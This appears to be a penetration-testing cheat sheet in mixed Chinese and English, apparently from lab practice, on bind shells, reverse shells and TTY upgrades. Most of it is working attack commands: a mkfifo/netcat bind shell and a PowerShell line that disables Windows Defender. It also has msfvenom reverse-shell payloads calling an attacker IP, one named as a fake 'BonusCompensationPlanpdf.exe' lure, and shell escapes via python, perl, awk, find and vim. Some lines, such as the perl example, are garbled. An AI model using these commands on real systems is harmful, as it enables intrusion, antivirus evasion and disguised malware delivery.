Bind Shells

1
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f
1
2
nc -nv 10.129.41.200 7777
Target@server:~$

Reverse Shells

禁用 Windows Defender antivirus(AV) 命令

1
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true

msfvenom

1
2
3
4
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
# or
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > BonusCompensationPlanpdf.exe
...
1
nc -lvnp 443

Online - Reverse Shell Generator https://www.revshells.com/

TTY Shell

当进入系统 shell 时,注意到没有提示符,但仍然可以发出一些系统命令。这种 shell 通常称为non-tty shell。这些 shell 的功能有限,通常会阻止使用suswitch user)和sudosuper user do)等基本命令,而如果试图提升权限,很可能会需要这些命令。发生这种情况是因为有效载荷是由 apache 用户在目标上执行的。会话是以 apache 用户的身份建立的。通常,管理员不会以 apache 用户的身份访问系统,因此无需在与 apache 关联的环境变量中定义 shell 解释器语言。

Python

1
2
3
4
5
6
python -c 'import pty; pty.spawn("/bin/sh")' 

sh-4.2$
sh-4.2$ whoami
whoami
apache

/bin/sh -i

1
2
3
/bin/sh -i
sh: no job control in this shell
sh-4.2$

perl

1
perl —e 'exec "/bin/sh";
1
perl: exec "/bin/sh";

ruby

1
ruby: exec "/bin/sh"

lua

1
lua: os.execute('/bin/sh')

awk

1
awk 'BEGIN {system("/bin/sh")}'

find

find 命令的用法是搜索-name选项后列出的任何文件,然后执行awk/bin/awk)并运行在 awk 部分讨论的相同脚本来执行 shell 解释器。

1
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

find 命令的这种用法使用执行选项 ( -exec) 直接启动 shell 解释器。如果find找不到指定的文件,则不会获得任何 shell。

1
find . -exec /bin/sh \; -quit

vim

1
vim -c ':!/bin/sh'
1
2
3
vim
:set shell=/bin/sh
:shell

⬆︎TOP